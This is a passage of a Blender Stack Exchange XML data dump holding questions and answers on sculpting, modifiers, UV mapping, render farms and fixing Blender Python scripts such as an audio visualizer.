unregister():&#xA;    bpy.utils.unregister_class(SverchokImageBG)&#xA;    bpy.utils.unregister_class(svImageShowOperator)&#xA;    callback_disable_all()&#xA;&#xA;    scn = bpy.types.Scene&#xA;    del scn.sv_custom_backdrop&#xA;    del scn.sv_show_image&#xA;    del scn.sv_available_image&#xA;    del scn.sv_scale_unit&#xA;&#xA;&#xA;if __name__ == '__main__':&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hmmm, as soon as nodes are added the texture gets broken.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;PRE_VIEW&lt;/code&gt; works nicely, but the texture at (x,y,0) is behind the grid.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in 'POST_VIEW' adding this seems to stabilize the image&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;glEnable(GL_BLEND)&#xA;glBindTexture(GL_TEXTURE_2D, texture)&#xA;glEnable(GL_TEXTURE_2D)&#xA;glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)&#xA;glColor4f(1.0,1.0,1.0,1.0)&#xA;glBegin(GL_QUADS)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-14T12:25:04.107" LastActivityDate="2015-05-14T12:25:04.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30744" PostTypeId="1" CreationDate="2015-05-11T18:00:23.040" Score="12" ViewCount="4220" Body="&lt;p&gt;While sculpting on models that have relatively thin walls, I've found that the sculpting tool &quot;bleeds&quot; through to the opposing wall (In my case, the external wall is a finely detailed surface, and I'm just hollowing out the inside of a solid to achieve as thin a wall thickness as possible for 3D printing).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't imagine an application where this bleed-through would be desirable, and it is certainly NOT desirable for mine.  Is there a way to turn this off, perhaps similar to the toggle that allows one to select either &quot;only visible&quot; mesh points within a selection, or &quot;all&quot; mesh points within a selection?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, the only way I've found to prevent this is to be zoomed in close enough that the relative wall thickness is greater than my tool radius.  This turns what should be a 5 minute task into a 2 hour task.&lt;/p&gt;&#xA;" OwnerUserId="14289" LastEditorUserId="599" LastEditDate="2015-05-11T18:25:50.503" LastActivityDate="2020-09-06T03:25:53.747" Title="How to prevent sculpting tools from affecting faces through thin walls?" Tags="&lt;sculpting&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30745" PostTypeId="2" ParentId="30738" CreationDate="2015-05-11T18:02:37.567" Score="24" Body="&lt;p&gt;The easiest way, in my opinion, is to use the 'Cast' modifier. Using a subdivided plane you can cast/warp an object from one shape, to another, preset shape:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/odmih.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animating the 'Factor' allows you to switch between the original shape and the 'cast' shape.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-05-11T18:29:41.427" LastActivityDate="2015-05-11T18:29:41.427" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30747" PostTypeId="2" ParentId="30744" CreationDate="2015-05-11T18:38:58.523" Score="13" Body="&lt;p&gt;Try enabling &lt;em&gt;Front Faces only&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4GlVW.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If that doesn't work, then try painting the vertices you don't want to change with the &lt;em&gt;mask&lt;/em&gt; brush:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://fat.gfycat.com/EvenConventionalAlbertosaurus.gif&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;These masked vertices won't be allowed to change. To clear the mask, press &lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; In version 2.8 or higher of Blender, the Front Faces Only option can be found in the tool's header bar, within the Brush menu.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gRO2m.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gRO2m.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="62269" LastEditDate="2020-09-06T03:25:53.747" LastActivityDate="2020-09-06T03:25:53.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30748" PostTypeId="2" ParentId="30612" CreationDate="2015-05-11T18:59:09.723" Score="2" Body="&lt;p&gt;It appears you have two fluid domain objects, one of which has no material (&lt;code&gt;Cube&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you can only have one fluid domain while baking, presumably this second domain got accidentally created after the bake was done. Since it has no material it defaults to diffuse. At 10 samples this diffuse surface appears pretty noisy, giving the result in your example render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K2NGU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete it, and all is well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y0wIt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-11T18:59:09.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30749" PostTypeId="2" ParentId="30737" CreationDate="2015-05-11T19:09:44.037" Score="7" Body="&lt;p&gt;This creates instances of the group, it works by first adding an Empty, and setting its &lt;code&gt;.dupli_type&lt;/code&gt; and &lt;code&gt;.dupli_group&lt;/code&gt; attributes. I believe for all intents this is functionally equivalent to a &lt;em&gt;group instance&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;group = bpy.data.groups['CubeGroup']    &#xA;instance = bpy.data.objects.new('dupli_group', None)&#xA;instance.dupli_type = 'GROUP'&#xA;instance.dupli_group = group&#xA;scene.objects.link(instance)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(credit to: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?256979-BPY-Adding-a-group-instance&amp;amp;p=2134773&amp;amp;viewfull=1#post2134773&quot; rel=&quot;noreferrer&quot;&gt;blenderartists.org user Atom&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For completeness, this is how to create groups via the API. This expects the name (string) of a group, and will add any objects in the objs collection to this group.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def to_group(named, objs):&#xA;    '''&#xA;    named:   (string) name of group to use, or to create if not present &#xA;    objs:    a collection of object references&#xA;    '''&#xA;    groups = bpy.data.groups&#xA;&#xA;    # alias existing group, or generate new group and alias that&#xA;    group = groups.get(named, groups.new(named))&#xA;&#xA;    for obj in objs:&#xA;        if obj.name not in group.objects:&#xA;            group.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-12T11:41:19.980" LastActivityDate="2015-05-12T11:41:19.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30750" PostTypeId="1" AcceptedAnswerId="31002" CreationDate="2015-05-11T19:41:48.437" Score="5" ViewCount="1387" Body="&lt;p&gt;So I'm editing a video with someone jumping really high, and I've masked them out, animated them, and it looks fine, except for the motion blur. The person I've masked out is way too crisp!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cLAaK.jpg&quot; alt=&quot;Masked out&quot; /&gt;&#xA;Is there any way to use Blender's motion blur settings with the vse editor?&#xA;I really don't want to use the blur effect, as it really doesn't provide the best results&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-17T21:03:44.813" Title="VSE Motion Blur?" Tags="&lt;animation&gt;&lt;video-sequence-editor&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30751" PostTypeId="1" AcceptedAnswerId="30753" CreationDate="2015-05-11T19:49:52.483" Score="2" ViewCount="2324" Body="&lt;p&gt;So, I am following a &lt;a href=&quot;http://cgcookie.com/archive/building-an-audio-visualizer-in-python/&quot; rel=&quot;nofollow&quot;&gt;tutorial on CGCookie&lt;/a&gt;, and it is using Python code to create an audio visualizer in Blender. Now, I've always been a coding geek, but I don't actually know Python. I've taken a few shots at it but overall, I don't know Python, however, I can read and understand the code because I know basic programming concepts. Now, I'm following this tutorial as closely as I can (the tutorial does not provide code to copy and paste) and I am getting a syntax error. As far as I can tell, there is no syntax error. The line of code (specified by the error message) appears perfect. This line of code is supposed to set the 3D cursor to the active object's origin. Here's the catch: if I run that exact same line of code in the console, it executes just fine.&lt;br&gt;&#xA;So here's the error message I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File &quot;C:\Me\Blender\Blender Projects\audio visualisation.blend\AudioVisualizer&quot;, line 17&#xA;bpy.context.scene.cursor_location = bpy.context.active_object.location&#xA;   ^&#xA;SyntaxError: invalid syntax&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It tells me to look in the console for error message, but the console doesn't output anything.&lt;br&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.pasteall.org/58390/python&quot; rel=&quot;nofollow&quot;&gt;Here's my overall code:&lt;/a&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Thanks!&lt;br&gt;&#xA;&lt;hr&gt;&lt;br&gt;&#xA;EDIT: Alright. I've tried all the examples and all the procedures that have been suggested by you guys, but it keeps feeding me errors. According to the console, one of the problems it is spitting out is in C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\bpy\ops.py. This makes me think there is a bug in the API that is causing one of the many errors.&lt;br&gt;&lt;br&gt;&lt;hr&gt;&lt;br&gt;&#xA;EDIT: Here are the error messages I get for my code.&#xA;Original Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error:   File &quot;C:\Gannon\Blender\Blender Projects\audio visualisation.blend\Audi&#xA;o Visualizer&quot;, line 35&#xA;    bpy.ops.graph.sound_bake(filepath=&quot;C:\Gannon\Blender\Sounds\Music\Batty McFa&#xA;dden.mp3&quot;, low=i*step high=i*step+step&#xA;&#xA;                         ^&#xA;SyntaxError: invalid syntax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;gandalf3's Code and zeffii's Code are essentially the same with alternative formatting which changes the line numbers where the error occurs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: Unsupported audio format&#xA;&#xA;Traceback (most recent call last):&#xA;  File &quot;C:\Gannon\Blender\Blender Projects\audio visualisation.blend\Audio Visua&#xA;lizer&quot;, line 42, in &amp;lt;module&amp;gt;&#xA;  File &quot;C:\Gannon\Blender\Blender Projects\audio visualisation.blend\Audio Visua&#xA;lizer&quot;, line 35, in spiral&#xA;  File &quot;C:\Program Files\Blender Foundation\Blender\2.74\scripts\modules\bpy\ops&#xA;.py&quot;, line 189, in __call__&#xA;    ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Error: Unsupported audio format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10911" LastEditorUserId="25" LastEditDate="2015-11-22T21:35:45.260" LastActivityDate="2015-11-22T21:35:45.260" Title="Unknown Syntax Error in Code" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30752" PostTypeId="2" ParentId="30751" CreationDate="2015-05-11T20:02:13.207" Score="3" Body="&lt;p&gt;Oftentimes mysterious syntax errors result from something above where the actual error is raised. In this case the syntax error in question is caused by a missing paren on the line above:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2j87v.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In addition to this missing paren you have a few other typos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;+&lt;/code&gt; instead of &lt;code&gt;_&lt;/code&gt; on line 22&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5GHeP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;scale_apply()&lt;/code&gt; on line 24 should be &lt;code&gt;transform_apply(scale=True)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Missing a comma and closing paren on line 35&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AA0ne.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Here's the fixed code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;rows = 5&#xA;columns = 5&#xA;&#xA;r = 0&#xA;c = 0&#xA;&#xA;&#xA;def spiral(X, Y):&#xA;    x = y = 0&#xA;    dx = 0&#xA;    dy = -1&#xA;    for i in range(max(X, Y)**2):&#xA;        if (-X/2 &amp;lt; x &amp;lt;= X/2) and (-Y/2 &amp;lt; y &amp;lt;= Y/2):&#xA;            bpy.ops.mesh.primitive_cube_add(location = (x, y, 1))&#xA;            bpy.context.scene.cursor_location = bpy.context.active_object.location&#xA;            bpy.context.scene.cursor_location.z -= 1&#xA;            bpy.ops.object.origin_set(type=&amp;quot;ORIGIN_CURSOR&amp;quot;)&#xA;            &#xA;            bpy.context.active_object.scale.x = 0.5&#xA;            bpy.context.active_object.scale.y = 0.5&#xA;            bpy.context.active_object.scale.z = 7&#xA;            bpy.ops.object.transform_apply(scale=True)&#xA;            &#xA;            bpy.ops.anim.keyframe_insert_menu(type='Scaling')&#xA;            &#xA;            bpy.context.active_object.animation_data.action.fcurves[0].lock = True&#xA;            &#xA;            bpy.context.active_object.animation_data.action.fcurves[1].lock = True&#xA;            &#xA;            bpy.context.area.type = 'GRAPH_EDITOR'&#xA;            &#xA;            step = 20000/ (rows*columns)&#xA;            bpy.ops.graph.sound_bake(filepath=&amp;quot;C:\Gannon\Blender\Sounds\Music\Batty McFadden.mp3&amp;quot;, low=i*step, high=i*step+step)&#xA;            bpy.context.active_object.animation_data.action.fcurves[2].lock = True&#xA;            &#xA;        if x == y or (x &amp;lt; 0 and x == -y) or (x &amp;gt; 0 and x == 1-y):&#xA;            dx, dy = -dy, dx&#xA;        x, y = x+dx, y+dy&#xA;        &#xA;spiral(rows, columns)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-11T20:23:04.590" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="30753" PostTypeId="2" ParentId="30751" CreationDate="2015-05-11T20:39:46.020" Score="4" Body="&lt;p&gt;You got pretty close TheMinecraftMan757, &lt;a href=&quot;https://blender.stackexchange.com/questions/9249/why-can-i-not-import-an-mp3-file-through-python-scripting?rq=1&quot;&gt;i've seen many people struggle&lt;/a&gt; with that tutorial over the last 3 or 4 years. I think even some of the function calls have been changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as Gandalf points out:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;to &lt;code&gt;scale_apply()&lt;/code&gt; on line 24 should be &lt;code&gt;transform_apply(scale=True)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At the time the tutorial was written, the function call was &lt;code&gt;scale_apply()&lt;/code&gt;, but it was changed to a more general apply function that can apply not just &lt;code&gt;scale&lt;/code&gt;, but &lt;code&gt;rotation&lt;/code&gt; and &lt;code&gt;location&lt;/code&gt;. You would never have figured that out in a million years without a bit of googling or more familiarity with bpy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's my minimized interpretation of that code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;rows = 5&#xA;columns = 5&#xA;&#xA;def spiral(X, Y):&#xA;    scn = bpy.context.scene  # an alias, lets you use scn shorthand&#xA;    x = y = 0&#xA;    dx = 0&#xA;    dy = -1&#xA;    for i in range(max(X, Y)**2):&#xA;        if (-X/2 &amp;lt; x &amp;lt;= X/2) and (-Y/2 &amp;lt; y &amp;lt;= Y/2):&#xA;            bpy.ops.mesh.primitive_cube_add(location = (x, y, 1))&#xA;            obj = bpy.context.active_object&#xA;&#xA;            scn.cursor_location = obj.location&#xA;            scn.cursor_location.z -= 1&#xA;            bpy.ops.object.origin_set(type=&quot;ORIGIN_CURSOR&quot;)&#xA;            obj.scale = (0.5, 0.5, 7)&#xA;&#xA;            bpy.ops.object.transform_apply(scale=True)&#xA;            bpy.ops.anim.keyframe_insert_menu(type='Scaling')&#xA;&#xA;            action = obj.animation_data.action&#xA;            action.fcurves[0].lock = True&#xA;            action.fcurves[1].lock = True&#xA;&#xA;            bpy.context.area.type = 'GRAPH_EDITOR'&#xA;&#xA;            step = 20000 / (rows * columns)&#xA;            fp = r&quot;C:\Gannon\Blender\Sounds\Music\Batty McFadden.mp3&quot;&#xA;            bpy.ops.graph.sound_bake(filepath=fp, low=i*step, high=i*step+step)&#xA;            action.fcurves[2].lock = True&#xA;&#xA;        if x == y or (x &amp;lt; 0 and x == -y) or (x &amp;gt; 0 and x == 1-y):&#xA;            dx, dy = -dy, dx&#xA;        x, y = x+dx, y+dy&#xA;&#xA;spiral(rows, columns)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't set the path to a valid one, then you can get errors like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RuntimeError: Error: Unsupported audio format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;remarks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On windows use &lt;code&gt;r'C:\your\file\destination.mp3'&lt;/code&gt;, the r turns the quoted string that follows it into a &lt;a href=&quot;https://docs.python.org/3.4/reference/lexical_analysis.html#string-and-bytes-literals&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;raw string literal&lt;/em&gt;&lt;/a&gt;, this is perfect for filepaths. &lt;/li&gt;&#xA;&lt;li&gt;On linux you should really know how to compose a path, but if you're new to it, it might be something like: &lt;code&gt;'/homes/your_user_name/music/some_tune.mp3'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;This code can take a long time to bake each graph. Even with a 5*5 grid, it will bake the entire graph 25 times. &lt;a href=&quot;https://gist.github.com/zeffii/e7fde0640b0c28dc4aa2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a version&lt;/a&gt; which places a print statement just before it starts baking each iteration, you will need to have the terminal/cmd-prompt open before running the command.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;a simple script to test your mp3 filepath, but it is really worth your time to read the python &lt;a href=&quot;https://docs.python.org/3/library/os.path.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs about paths&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;&#xA;# on windows, string prefix r is used to avoid the need for double backslashes&#xA;# filepath = 'C:\\Gannon\\Blender\\Sounds\\Music\\Batty McFadden.mp3'&#xA;filepath = r'C:\Gannon\Blender\Sounds\Music\Batty McFadden.mp3'&#xA;&#xA;# on POSIX systems (linux, osx)&#xA;# filepath = '/home/zeffii/cookoo_22may_2011.mp3'&#xA;&#xA;found = os.path.exists(filepath)&#xA;if found:&#xA;    print('yes, this file was found')&#xA;else:&#xA;    print('nope, the path does not exist')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-05-12T06:45:11.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30754" PostTypeId="1" CreationDate="2015-05-11T20:42:38.990" Score="1" ViewCount="797" Body="&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; I saw &lt;a href=&quot;https://blender.stackexchange.com/questions/5617/deforming-a-mesh-in-realtime-game-engine&quot;&gt;this&lt;/a&gt; question but that isn't what I'm looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a basic character who has an armature and several animations. Because of the variety of his animations, a simple cube collision bound doesn't work because he'll either be wiggling outside it, or on some animations, (like crouching or crawling) there will be too much headroom that makes for unrealistic collisions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried working around this by creating a low-poly outline of the character for collisions, not knowing that it didn't update in realtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alas! when I experimented with the output and physics visualization on, I saw that the armature only has control over the &quot;visual&quot; mesh, and not the &quot;practical&quot; mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a good workaround so my dude can have collisions only where his body is?&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2016-07-17T01:37:58.947" Title="How can I update a mesh's physics while in the game engine?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;armature&gt;&lt;workflow&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30755" PostTypeId="1" CreationDate="2015-05-11T20:49:43.027" Score="12" ViewCount="18107" Body="&lt;p&gt;I got my hands on three identical PC towers, I would like to hook them up into a render farm, but I would like some advice on what opperating system I should use. I know that I need one of them to be a master, when I looked up linux I found that they had a linux server, is that the sort of thing I'd want for the master?&lt;/p&gt;&#xA;" OwnerUserId="14290" LastEditorUserId="14290" LastEditDate="2015-05-14T07:43:14.680" LastActivityDate="2015-05-14T07:43:14.680" Title="How to set up a render farm" Tags="&lt;rendering&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" ClosedDate="2015-05-12T11:06:27.640" ContentLicense="CC BY-SA 3.0" />
  <row Id="30756" PostTypeId="1" AcceptedAnswerId="30798" CreationDate="2015-05-11T21:49:55.007" Score="8" ViewCount="1991" Body="&lt;p&gt;I'm importing meshes to do some retopologisation on but blender just can't handle it without me having some sort of quadro card. Do I have to use mudbox or something similar to do work with such poly counts?&lt;/p&gt;&#xA;" OwnerUserId="12914" LastEditorUserId="599" LastEditDate="2015-05-13T10:30:42.260" LastActivityDate="2016-01-16T13:17:12.503" Title="Working with high polycounts?" Tags="&lt;mesh&gt;&lt;3d-view&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30757" PostTypeId="1" CreationDate="2015-05-11T23:31:41.017" Score="3" ViewCount="836" Body="&lt;p&gt;I am looking for a tool to create nice animations from the output of my numerical model. So far I have gridded xyz data points for both the surface elevation and the elevation of white-water above the surface. So two x,y,z .csv files for each time step. Each file would have around 600,000 points and depending on the frequency of outputs, up to 10,000 time-steps to animate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way to import these into blender, generate a surface and create a nice animation. In the end I'm aiming for realistic looking water. Is there a way to accomplish this in blender, or should I look for another application? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14295" LastActivityDate="2016-10-24T14:55:07.243" Title="Animating water surface from .csv temporal xyz data" Tags="&lt;mesh&gt;&lt;ocean-simulation&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30760" PostTypeId="2" ParentId="30735" CreationDate="2015-05-12T04:49:59.953" Score="2" Body="&lt;p&gt;It seems to me the texture is facing the camera... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Epxa6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One issue I did find is that you are mixing a transparent shader using an alpha channel, but your image has no such thing (jpeg images do not support alpha chanels), so that section of your node setup has no effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Li7iB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The backside of the petal is indeed colorless, but that is the effect of the hue saturation node affecting the traslucency (as @gandalf3 pointed out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sAqt7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change the texture to the back of the object, add a &lt;strong&gt;Geometry&lt;/strong&gt; node and use the backfacing information to control on which side the texture gets mapped...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k6GcS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; &#xA;(given that the question is so vague, the shared file linked to the different images, and the project layout open to so much interpretation...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the error maybe that the UV mapping is upside down?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;UV/Image_Editor window&lt;/strong&gt; you can select the UV mapping and rotate it manually using the &lt;kbd&gt;R&lt;/kbd&gt; key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Prk5x.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To rotate 180 degrees press &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;8&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To flip the UV mapping press &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&#xA;&lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-12T06:54:44.857" LastActivityDate="2015-05-12T06:54:44.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30761" PostTypeId="1" CreationDate="2015-05-12T05:06:17.563" Score="3" ViewCount="55" Body="&lt;p&gt;I'm really new to blender, I actually just started using it today. I'm usually pretty good at using software like this but I underestimated the difficulty of the tutorial I was trying to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyways, I hit a problem towards the end of the tutorial and I think it was something to do with rooting light rays to the audio, and I think I linked my text to the audio instead of the light rays I made or something like that because my text seems to be locked and i cant add other keyframes on to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what is happening is that the keyframes i made on the text disappeared and now instead of moving with the keyframes my text spazzes/pulses randomly with the bass of the music.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something i noticed is that the location and rotation positions for the text are already keyed (in green on the right in the screenshot). I want to get rid of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the screenshot&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fOvw3.jpg&quot; alt=&quot;Here&amp;#39;s a screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to anyone who might help me out here&#xA;-Tom&lt;/p&gt;&#xA;" OwnerUserId="14299" LastEditorUserId="599" LastEditDate="2015-05-13T10:38:34.823" LastActivityDate="2015-05-13T10:38:34.823" Title="Unlink text from audio" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
